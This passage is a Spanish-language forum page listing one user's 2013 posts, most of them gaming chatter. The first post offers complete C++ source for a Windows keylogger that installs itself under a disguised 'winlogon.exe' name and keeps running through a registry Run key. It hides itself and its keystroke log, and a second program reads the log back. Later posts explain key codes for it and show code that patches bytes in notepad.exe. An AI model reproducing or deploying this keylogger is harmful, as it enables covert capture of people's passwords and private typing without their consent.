Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - daryo

#1581
vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/


#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>

using namespace std;

int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );

strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();

// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}

if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso

if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}



leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}


#1582
Programación C/C++ / Re: keylogger
15 Junio 2013, 16:28 PM
es simple el codigo ascii(si no sabes que es te recomiendo saberlo antes de hacer un keylogger) es diferente si es mayuscula o minuscula:
por ejemplo la letra
A = 65
a = 97
#1583
Cita de: ABDERRAMAH en 15 Junio 2013, 02:52 AM
- Odio que si mato a un enemigo que tiene un arma o una ropa puesta luego yo como jugador no pueda quitarsela, coño, seamos consecuentes.
si te falto decir odio esas sexys boss que no se les puede quitar la ropa
#1584
pues mira ya que lo que quieres es hacerlo con un ejecutable ( no hace falta que lo dijeras por pv :P):

Código (c++) [Seleccionar]

void Cambiar()
{

char *buf;
char caracter;
ifstream fichero_original("notepad.exe", ios::binary); //Declaramos una variable para el fichero original
fichero_original.seekg(0,ios::end);
unsigned long Tamanyo = fichero_original.tellg();
fichero_original.seekg(0,ios::beg);
buf = new char[Tamanyo];


fichero_original.read(buf,Tamanyo); // Guardamos el archivo en buf
fichero_original.close(); //Cerramos el fichero original
ofstream fichero_final("adios.exe", ios::binary); //Abrimos el archivo que estamos creando

       buf[0]='R'; // primer caracter cambiado
       buf[1]='I'; // segundo caracter cambiado
fichero_final.write(buf,Tamanyo);

       fichero_final.close(); //Cerramos el nuevo fichero

}

#1585
tu programa me funciona perfecto , que es exactamente lo que falla?

crea un hola.txt con una cadena al azar y adios.txt borralo para que el mismo programa lo cree
#1586
Cita de: MeCraniDOS en 14 Junio 2013, 16:07 PM
Gracias por el código, pero solo me escribe la 'r' y la 'i', es decir, abre el archivo y al escribirlo en el nuevo archivo solo me pone: "ri "  :-\ :-\

Otra cosa, el "string cadena" para que lo usas??

Saludos  ;-)


si la string sobra pero a mi me copia perfecto lo que hay en hola.txt  :-\
#1587
Cita de: Randomize en 14 Junio 2013, 15:47 PM
Me repito, me molestan los MMOs (aparte de las anécdotas hay que fijarse en la dinámica del juego: MIRARLE A UN TIO EL CULO MIENTRA HACE COSAS).... Todo un juegazo...

pues si miras mas atras yo puse lo mismo odio los mmo  :P solamente que la razon que pusiste antes no estaba de acuerdo

saludos
#1588
CitarMe molestan los MMOs que hacen que unos padres desatiendan durante tres años a sus hijas y éstas acaben con los dientes podridos... Me molestan por ello TODOS los MMOs.

eso no es culpa del juego sino de los padres  :-\ , es algo asi como decir odio los cuchillos porque algunos los usan para cometer crimenes
#1589
Cita de: Ikillnukes en 14 Junio 2013, 15:35 PM
Lo que digo, que por cada comentario sale alguien más pavo, sin ofender :xD
xD pero es que este post no se puede tomar serio jaja saludos  :P
#1590
Citarquien la tiene mas grande
ya , ya no peleen mi e-pene es mas grande   :laugh: